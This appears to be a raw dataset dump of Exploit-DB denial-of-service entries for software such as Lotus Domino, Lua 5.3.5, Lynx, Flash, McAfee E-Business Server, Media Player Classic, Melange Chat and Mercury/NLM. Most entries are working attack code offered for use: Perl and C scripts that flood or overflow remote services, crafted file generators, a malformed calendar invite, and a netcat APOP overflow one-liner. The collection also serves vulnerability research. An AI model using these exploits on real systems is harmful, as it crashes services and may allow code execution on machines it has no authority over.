deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17549
Description: Lotus Domino SMTP Router & Email Server and Client - Denial of Service
Type: dos
Platform: multiple
Date: 2011-07-19
Author: anonymous

Exploit:
# Exploit Title: Lotus Domino SMTP router, EMAIL server and client DoS - all 3 may crash
# Date: July 16, 2011
# Author: None - looks like a malformed Kerio generated calendar invitation was the reason this was discovered -http://forums.kerio.com/index.php?t=msg&th=19863&start=0
# Software Link: none - cut/paste the malformed meeting invitation show below, send into some Domino shop as a mime type text/calendar with a filename.ics 
# Version: 8.5.3 and very likely all 7.x and 8.x
# Tested on: W2K3, W2K8, XP running 8.5.3
# CVE : none - but IBM has patches for this and other
 items
https://www-304.ibm.com/support/docview.wss?q1=vulnerability%20OR%20vulnerabilities&rs=0&uid=swg21461514&cs=utf-8〈=en&loc=en_US&cc=us
https://www-304.ibm.com/support/docview.wss?uid=swg21504183


....................... cut/paste this to create a meeting.ics or hello.ics file as an
 attachment..................................
BEGIN:VCALENDAR
PRODID:-//Bank-of-America.com/
METHOD:REPLY
VERSION:2.0
X-VERSION-MSX:7.2
BEGIN:VTIMEZONE
TZID:GMT
BEGIN:STANDARD
DTSTART:19501029T020000
TZOFFSETFROM:+0100
TZOFFSETTO:+0000
RRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU;BYHOUR=2;BYMINUTE=0
END:STANDARD
BEGIN:DAYLIGHT
DTSTART:19500326T020000
TZOFFSETFROM:+0000
TZOFFSETTO:+0100
RRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU;BYHOUR=2;BYMINUTE=0
END:DAYLIGHT
END:VTIMEZONE
BEGIN:VEVENT
DTEND:20110621T100000Z
TRANSP:OPAQUE
ORGANIZER;CN="PKim/BOA.com/":mailto:rjones_at_applegate.com
UID:CBFF44ACA1Ff5A99802578B2004AD7A0-Lotus_Notes_Generated
DTSTAMP:20110617T104325Z
DESCRIPTION:Meeting invite - Today 18th 9-10am
SEQUENCE:0
SUMMARY:Once again 
DTSTART:20110621T090000Z
CREATED:20110617T104400Z
X-MICROSOFT-CDO-BUSYSTATUS:BUSY
CLASS:PUBLIC
ATTENDEE;PARTSTAT=ACCEPTED;CN=RTBeinn_at_aclu.org;CUTYPE=INDIVIDUAL:mailto:meandyou_at_gmail.com 
REQUEST-STATUS:2.0
END:VEVENT
END:VCALENDAR
.........................................................................................
Exploit-DB #46246
Description: Lua 5.3.5 - 'debug.upvaluejoin' Use After Free
Type: dos
Platform: multiple
Date: 2019-01-25
Author: Fady Mohammed Osman

Exploit:
# Exploit Title: Lua 5.3.5
# Exploit Author: Fady Mohamed Osman (https://twitter.com/fady_othman)
# Exploit-db : http://www.exploit-db.com/author/?a=2986
# Blog : https://blog.fadyothman.com/
# Date: Jan. 10th 2019
# Vendor Homepage: https://www.lua.org/
# Software Link: https://www.lua.org/ftp/lua-5.3.5.tar.gz
# Version: 5.3.5
# CVE ID: CVE-2019-6706

During a fuzz session using "AFL", I found a heap use after free in lua
5.3.5, after analysis of the crash I found the root cause of the
vulnerability, here's the details.

The function `lua_upvaluejoin` in file lapi.c at line 1287 suffers from a
use after free bug when supplied the same function for parameter f1 and f2
and the same upvalue index, additionally I found that the bug is only
triggered when the upvalue is closed, this happens because the
`luaC_upvdeccount` function found in file lgc.c at line 678 will decrement
the refcount and then free the upvalue if the refcount is zero and if the
upvalue is closed.
See the comments below for more explanation.
--------------
LUA_API void lua_upvaluejoin (lua_State *L, int fidx1, int n1,
                                            int fidx2, int n2) {
  LClosure *f1;
  UpVal **up1 = getupvalref(L, fidx1, n1, &f1);
  UpVal **up2 = getupvalref(L, fidx2, n2, NULL);
  luaC_upvdeccount(L, *up1);      //Will delete up1
  *up1 = *up2;     //up1 is up2 because it's the same upvalue and now it's
freed.
  (*up1)->refcount++;   //up1 is freed, yet it's used here.
  if (upisopen(*up1)) (*up1)->u.open.touched = 1;
  luaC_upvalbarrier(L, *up1);
}
--------------

- To trigger the bug simply use a lua program like this (this one will
crash):
--
f=load(function() end)
interesting={}
interesting[0]=string.rep("A",512)
debug.upvaluejoin(f,1,f,1)
---

- Another program that will not crash (unless you compile with
-fsanitize=address):
---
function w()
local x = {}
f = function() print(x) end
end
w()
debug.upvaluejoin(f,2,f,2)
---

If you want a fix you can use the patch provided here:
http://lua.2524044.n2.nabble.com/CVE-2019-6706-use-after-free-in-lua-upvaluejoin-function-tc7685575.html


Timeline:
- Jan 10th 2019 : Vulnerability discovered and reported to lua mailing list.
- Jan 23rd 2019 : CVE Identifier obtained.
- Jan 25th 2019 : Fix is suggested by Matěj Cepl.

Refrences:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6706
https://security-tracker.debian.org/tracker/CVE-2019-6706
https://vuldb.com/?id.130228
Exploit-DB #1256
Description: Lynx 2.8.6dev.13 - Remote Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2005-10-17
Author: Ulf Harnhammar

Exploit:
#!/usr/bin/perl --

# lynx-nntp-server
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.

use strict;
use IO::Socket;

$main::port = 119;
$main::timeout = 5;

# *** SUBROUTINES ***

sub mysend($$)
{
my $file = shift;
my $str = shift;

print $file "$str\n";
print "SENT: $str\n";
} # sub mysend

sub myreceive($)
{
my $file = shift;
my $inp;

eval
{
local $SIG{ALRM} = sub { die "alarm\n" };
alarm $main::timeout;
$inp = <$file>;
alarm 0;
};

if ($@ eq "alarm\n") { $inp = ''; print "TIMED OUT\n"; }
$inp =~ tr/\015\012\000//d;
print "RECEIVED: $inp\n";
$inp;
} # sub myreceive

# *** MAIN PROGRAM ***

{
my $server = IO::Socket::INET->new( Proto => 'tcp',
LocalPort => $main::port,
Listen => SOMAXCONN,
Reuse => 1);
die "can't set up server!\n" unless $server;


while (my $client = $server->accept())
{
$client->autoflush(1);
print 'connection from '.$client->peerhost."\n";


mysend($client, '200 Internet News');
my $group = 'alt.angst';

while (my $str = myreceive($client))
{
if ($str =~ m/^mode reader$/i)
{
mysend($client, '200 Internet News');
next;
}

if ($str =~ m/^group ([-_.a-zA-Z0-9]+)$/i)
{
$group = $1;
mysend($client, "211 1 1 1 $group");
next;
}

if ($str =~ m/^quit$/i)
{
mysend($client, '205 Goodbye');
last;
}

if ($str =~ m/^head ([0-9]+)$/i)
{
my $evil = '$@UU(JUU' x 21; # Edit the number!
$evil .= 'U' x (504 - length $evil);

my $head = <<HERE;
221 $1 <xyzzy\@usenet.qx>
Path: host!someotherhost!onemorehost
From: <mr_talkative\@usenet.qx>
Subject: $evil
Newsgroup: $group
Message-ID: <xyzzy\@usenet.qx>
.
HERE

$head =~ s|\s+$||s;
mysend($client, $head);
next;
}

mysend($client, '500 Syntax Error');
} # while str=myreceive(client)

close $client;
print "closed\n\n\n";
} # while client=server->accept()
}

# milw0rm.com [2005-10-17]
Exploit-DB #24013
Description: Macromedia ColdFusion MX 6.0 - Oversized Error Message Denial of Service
Type: dos
Platform: multiple
Date: 2004-04-17
Author: K. K. Mookhey

Exploit:
source: https://www.securityfocus.com/bid/10163/info

A denial of service vulnerability has been reported in Macromedia ColdFusion MX that is reported to occur when the software attempts to write oversized error messages. These error messages will be logged by the server but may also be written into dynamically generated error pages.

It is possible to trigger this condition remotely since remote users may influence the contents of error messages.

<cfset
longstr = RepeatString("[PII_REDACTED][PII_REDACTED][PII_REDACTED]234567890", 10000)
>
<cfset the_date = #DateFormat(longstr)#>
<cfoutput>#the_date#</cfoutput>
Exploit-DB #1331
Description: Macromedia Flash Plugin 7.0.19.0 - 'action' Denial of Service
Type: dos
Platform: multiple
Date: 2005-11-18
Author: BassReFLeX

Exploit:
/*
 
 * ********************************************************* *
 * Macromedia Flash Plugin - Buffer Overflow in flash.ocx    *
 * ********************************************************* *
 * Version: v7.0.19.0                                        *
 * PoC coded by: BassReFLeX                                  *
 * Date: 11 Oct 2005                                         *
 * ********************************************************* *
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void usage(char* file);

/*
<swf>
...
</swf>
*/
char SWF[] = "<swf>";
char SWF_[] = "</swf>";

//[SetBackgroundColor]
char SetBackgroundColor[] = "\x43\x02\xff\x00\x00";

//[DoAction] 1 pwn j00r 455!
char DoAction[] = "\x3c\x03\x9b\x08\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x40\x00"
		  "\x42\x42\x42\x42\x42\x42\x42\x42\x00\x43\x43\x43\x43\x43\x43\x43"
                  "\x43\x00\x44\x44\x44\x44\x44\x44\x44\x44\x00\x45\x45\x45\x45\x45"
                  "\x45\x45\x45\x00\x46\x46\x46\x46\x46\x46\x46\x46\x00\x00";

//[ShowFrame]
char ShowFrame[] = "\x40\x00";

//[End]
char End[] = "\x00\x00";

int main(int argc,char* argv[])
{
    system("cls");
    printf("\n* ********************************************************* *");
    printf("\n* Macromedia Flash Plugin - Buffer Overflow in flash.ocx    *");
    printf("\n* ********************************************************* *");
    printf("\n* Version: v7.0.19.0                                        *");
    printf("\n* Date: 11 Oct 2005                                         *");
	printf("\n* ProofOfConcept(POC) coded by: BassReFLeX                  *");
    printf("\n* ********************************************************* *");
    
    if ( argc!=2 )
    {
        usage(argv[0]);
    }
    
    FILE *f;
    f = fopen(argv[1],"w");
    if ( !f )
    {
        printf("\nFile couldn't open!");
        exit(1);
    }
                         
    printf("\n\nWriting crafted .swf file . . .");
    fwrite(SWF,1,sizeof(SWF),f);
    fwrite("\n",1,1,f);
    fwrite(SetBackgroundColor,1,sizeof(SetBackgroundColor),f);
    fwrite("\n",1,1,f);
    fwrite(DoAction,1,sizeof(DoAction),f);
    fwrite("\n",1,1,f);
	fwrite(ShowFrame,1,sizeof(ShowFrame),f);
    fwrite("\n",1,1,f);
	fwrite(End,1,sizeof(End),f);
	fwrite("\n",1,1,f);
	fwrite(SWF_,1,sizeof(SWF_),f);
	printf("\nFile created successfully!");
    printf("\nFilename: %s",argv[1]);
    return 0;
}        

void usage(char* file)
{
    printf("\n\n");
    printf("\n%s <Filename>",file);
    printf("\n\nFilename = .swf crafted file. Eg: overflow.swf");
    exit(1);
}

// milw0rm.com [2005-11-18]
Exploit-DB #32949
Description: Mani's Admin Plugin - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-04-22
Author: M4rt1n

Exploit:
source: https://www.securityfocus.com/bid/34685/info

Mani's Admin Plugin is prone to a remote denial-of-service vulnerability.

Exploiting this issue allows remote attackers to crash the application, denying further service to legitimate users.

alias aspam "admin;admin;admin;admin;admin;admin;admin;timeleft;timeleft;timeleft"
alias bspam "aspam;aspam;aspam;aspam;aspam"
bind i "bspam; bspam; bspam"
Exploit-DB #30187
Description: Mbedthis AppWeb 2.2.2 - URL Protocol Format String
Type: dos
Platform: multiple
Date: 2007-06-12
Author: Nir Rachmel

Exploit:
source: https://www.securityfocus.com/bid/24454/info

Mbedthis AppWeb is prone to a format-string vulnerability because the application fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

This issue affects only applications that were built with logging enabled and installed with no "ErrorLog" directive in 'appweb.conf'.

Successful exploits may allow remote attackers to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will likely crash the application, denying further service to legitimate users.

AppWeb 2.2.2 is reported vulnerable; other versions may also be affected.

'GET %n://localhost:80/" request'
Exploit-DB #4878
Description: McAfee E-Business Server 8.5.2 - Remote Code Execution / Denial of Service (PoC)
Type: dos
Platform: multiple
Date: 2008-01-09
Author: Leon Juranic

Exploit:
#!/usr/bin/perl
#
#
# McAfee(R) E-Business Server(TM) 8.5.2 Remote preauth crash (PoC)
#
# - tested on Windows and Linux
#
#
# Leon Juranic <leon.juranic@infigo.hr>, 
# Infigo IS <http://www.infigo.hr/en/>
#


use IO::Socket;

$saddr = "192.168.1.3";
$sport = 1718;

$exp1 = "\x01\x3f\x2f\x05\x25\x2a" . "A" x 69953;;

print "> Sending exploit string...\n";
my $server_sock = IO::Socket::INET->new (PeerAddr => $saddr, PeerPort => $sport) || die ("Cannot connect to server!!!\n\n");
print $server_sock $exp1;

# milw0rm.com [2008-01-09]
Exploit-DB #24807
Description: MD5 - Message Digest Algorithm Hash Collision
Type: dos
Platform: multiple
Date: 2004-12-07
Author: Dan Kaminsky

Exploit:
source: https://www.securityfocus.com/bid/11849/info

The MD5 algorithm is reported prone to a hash collision weakness. This weakness reportedly allows attackers to create multiple, differing input sources that, when the MD5 algorithm is used, result in the same output fingerprint.

It has been demonstrated that attackers can create multiple input sources to MD5 that result in the same output fingerprint. Reportedly, at this time, attackers cannot generate arbitrary collisions. At this time, it is also reported that only a very limited number of individual bits in an input message may be altered while maintaining an identical output fingerprint.

This weakness may allow attackers to create two messages, or executable binaries such that their MD5 fingerprints are identical. One of these messages or binaries would be innocent, and the other malicious. The innocent message or binary may be digitally signed, and then later would have the malicious file substituted into its place. This attack may allow malicious code to be executed, or non-repudiation properties of messages to be broken.

At this time, preimage attacks are not reportedly possible.

It is recommended that cryptosystems that utilize the MD5 algorithm should be reviewed, and the measures should be taken to protect against this weakness. Other hashing algorithms may possibly be utilized in replacement to, or in conjunction with MD5 to decrease the likelihood of a successful attack.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24807.tar.gz
Exploit-DB #38021
Description: Media Player Classic (MPC) 1.5 - WebServer Request Handling Remote Denial of Service
Type: dos
Platform: multiple
Date: 2012-11-16
Author: X-Cisadane

Exploit:
source: https://www.securityfocus.com/bid/56567/info

Media Player Classic WebServer is prone to a cross-site scripting vulnerability and a denial-of-service vulnerability.

An attacker may leverage these issues to cause a denial-of-service condition or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. Successfully exploiting the cross-site scripting issue may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

#!/usr/bin/perl
use IO::Socket::INET;
use Getopt::Std;
use Socket;
my $SOCKET = "";
$loop = 1000;
$ip = $ARGV[0];
$port = $ARGV[1];
if (! defined $ARGV[0])
{
print "\t*=============================================================*\n";
print "\t* ---    MPC WebServer Remote Denial Of Service             ---*\n";
print "\t* ---          By : X-Cisadane                        ---*\n";
print "\t* ---  ------------------------------------------------    ---*\n";
print "\t* ---  Usage  : perl exploitmpc.pl ( Victim IP ) ( Port )  ---*\n";
print "\t* ---                                                      ---*\n";
print "\t*=============================================================*\n";
print "\n";
print " Ex : perl exploitmpc.pl 127.0.0.1 13579\n"; 
print "Default Port for MPC Web Server is 13579\n";
  
exit;
}
 
print "\t*=============================================================*\n";
print "\t* ---    MPC WebServer Remote Denial Of Service             ---*\n";
print "\t* ---          By : X-Cisadane                        ---*\n";
print "\t* ---  ------------------------------------------------    ---*\n";
print "\t* ---  Usage  : perl exploitmpc.pl ( Victim IP ) ( Port )  ---*\n";
print "\t* ---                                                      ---*\n";
print "\t*=============================================================*\n";
print "\n";
print " Ex : perl exploitmpc.pl 127.0.0.1 13579\n"; 
print "Default Port for MPC Web Server is 13579\n";
print "\n"; 
print " Please Wait Till The Buffer is Done\n";
my $b1 = "\x41" x 100000000;

$iaddr = inet_aton($ip) || die "Unknown host: $ip\n";
$paddr = sockaddr_in($port, $iaddr) || die "getprotobyname: $!\n";
$proto = getprotobyname('tcp') || die "getprotobyname: $!\n";

print "\n";
print " Attacking the Target, Please Wait Till Pwned \n";
 
for ($j=1;$j<$loop;$j++) { 
socket(SOCKET,PF_INET,SOCK_STREAM, $proto) || die "socket: $!\n";
connect(SOCKET,$paddr) || die "Connection Failed: $! .........Disconnected!\n";
 
$DoS=IO::Socket::INET->new("$ip:$port") or die;
send(SOCKET,$b1, 0) || die "failure sent: $!\n";
 
print $DoS "stor $b1\n";
print $DoS "QUIT\n";
 
close $DoS;
close SOCKET; 
}
# exit :
Exploit-DB #30529
Description: Media Player Classic 6.4.9 - FLI File Remote Buffer Overflow
Type: dos
Platform: multiple
Date: 2007-08-24
Author: wushi

Exploit:
source: https://www.securityfocus.com/bid/25437/info

Media Player Classic is prone to a buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data.

Attackers may attempt to exploit this issue by coercing users to access malicious FLI files.

Successfully exploiting this issue allows remote attackers to execute arbitrary machine code in the context of the user running the affected application. This facilitates the remote compromise of affected computers.

Media Player Classic 6.4.9.0 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30529.fli
Exploit-DB #23231
Description: Medieval Total War 1.0/1.1 - nickname Denial of Service
Type: dos
Platform: multiple
Date: 2003-10-07
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/8787/info

It has been reported that Medieval Total War may be prone to a denial of service vulnerability. The issue is caused when an attacker sends a malformed value for nickname consisting of 0 Unicode characters to the server during the initial authentication process. The exploitation of this issue results in the all users receiving a "Connection expired" message before leading to a crash of the server.

Successful exploitation of this issue may allow an attacker to cause the software to crash or hang.

Medieval Total War versions 1.1 and prior are reported to be prone to this vulnerability. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23231.zip
Exploit-DB #21379
Description: Melange Chat System 2.0.2 Beta 2 - '/yell' Remote Buffer Overflow
Type: dos
Platform: multiple
Date: 2002-04-14
Author: DVDMAN

Exploit:
source: https://www.securityfocus.com/bid/4508/info

Melange Chat System is a chat server program developed by Christian Walter. Currently support for this application is no longer available.

Due to inadequate bounds checking in Melange, it is possible for users to initiate a buffer overflow.

Submitting an unusually large /yell argument composed of arbitrary data, could cause the overflow to occur. 

#!/usr/bin/perl
#Melange Chat Server Remote DDOS POC
#By DVDMAN (DVDMAN@L33TSECURITY.COM)
#WWW.L33TSECURITY.COM
#L33T SECURITY


use Getopt::Std;
use IO::Socket;
$|=1;


my %options;
getopt('Hhp',\%options);
$arg2 = shift(@ARGV);
$options{h} && usage();
if ($options{H})
{
do_melage();
}
if ($options{p})
{
do_malange();
}
else
{
usage();
}
sub usage()
{
    print("[L33TSECURITY] Malange Chat Remote DDOS\n");
    print(" (C) DVDMAN \n\n");
    print("Usage: $0 [options]\n");
    print("-H = hostname or ip REQUIRED\n");
    print("-p = port of ftp server REQUIRED\n");
}
  
exit(1);

 

sub malange() {
my $test = $options{H};
my $test2 = $options{p};

    $remote = IO::Socket::INET->new(
                        Proto     => "tcp",
                                PeerAddr  => $test,
                                PeerPort  => $test2,
        );
    unless ($remote) {
           print"error cannot connect";
           return
        }
    $remote->autoflush(1);


print STDERR "Melange Chat Server REMOTE DDOS BY DVDMAN\n";
print STDERR " starting attack in 5 seconds...\n";
sleep(5);

my $user = "user test test 0 0\r\n";
my $exploit = "/yell" . " " . "A"x600;


print $remote $user;
print $remote $exploit;
print STDERR "DONE\n"; 
die "BYE\n";
}





#By DVDMAN (DVDMAN@L33TSECURITY.COM)
#WWW.L33TSECURITY.COM
#L33T SECURITY
Exploit-DB #21337
Description: Menasoft SPHEREserver 0.99 - Denial of Service
Type: dos
Platform: multiple
Date: 2002-03-09
Author: H Zero Seven

Exploit:
// source: https://www.securityfocus.com/bid/4258/info

Menasoft SPHEREserver .99 is an online role playing game server. It is vulnerable to a denial of service; multiple connections to the server can be made from a single machine, exhausting available connections and denying connections to legitimate users.

/*
 *
 * www.h07.org
 * H Zero Seven
 * Unix Security Research Team
 *
 * Sphere Ultima Online Server - Denial of Service Vulnerability
 * poc-exploit...
 *
 * Simple code to eat all connections from the gameserver, so other
 * peoples could not connect to the server.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <time.h>
#include <sys/time.h>

int Connect(int ip, int port)
{
   int fd;
   struct sockaddr_in tgt;

   fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (fd<0) return -1;
   memset(&tgt,0,sizeof(struct sockaddr_in));
   tgt.sin_port = htons(port);
   tgt.sin_family = AF_INET;
   tgt.sin_addr.s_addr = ip;
   if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0)
return -1;
   return fd;
}

int sprint(int fd, const char *str,...)
{
   va_list args;
   char buf[4096];
   memset(&buf,0,sizeof(buf));
   va_start(args,str);
   vsnprintf(buf,sizeof(buf),str,args);
   return(write(fd,buf,strlen(buf)));
}

int main(int argc, char *argv[])
{
   int fd;
   struct sockaddr_in box;

   fprintf(stderr, "SphereServer DoS Exploit [poc]\n");
   fprintf(stderr, "H Zero Seven - Unix Security Research Team -
www.h07.org\n\n");
   if (argc < 2) {
      fprintf(stderr, "usage: %s <sphere ip> [sphere port]\n",argv[0]);
      return;
   }

   fprintf(stderr,"for the full advisory regarding this vulnerability
visit www.h07.org ... \n");
   fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (fd<0) {
      perror("socket() ");
      return;
   }

   fprintf(stderr,"Attacking sphere : ");
   for (;;) {
      int sock;

      sock = Connect(inet_addr(argv[1]),(argc>2)?(atoi(argv[2])):3128);
      if (sock<0) {
         sleep(10);
         continue;
      }
       fprintf(stderr, ".*");
   }
}
Exploit-DB #20792
Description: Mercury/NLM 1.4 - Buffer Overflow
Type: dos
Platform: multiple
Date: 2001-04-21
Author: Przemyslaw Frasunek

Exploit:
source: https://www.securityfocus.com/bid/2641/info

Mercury MTA is a mail-transfer agent available for Novell NetWare and Windows NT. Novell versions of the Mercury POP3 server prior to 1.48 are vulnerable to a buffer overflow caused by inadequate string handling for the APOP authentication command.

Because the overflow occurs in an authentication command parser, unauthenticated remote users can trigger the overflow. It is unknown whether the overflow can lead to arbitrary code execution, but proof-of-concept code is available that will crash the NetWare server, requiring a reboot. 

perl -e 'print "APOP " . "a"x2048 . " " . "a"x2048 . "\r\n"' | nc mercury_host 110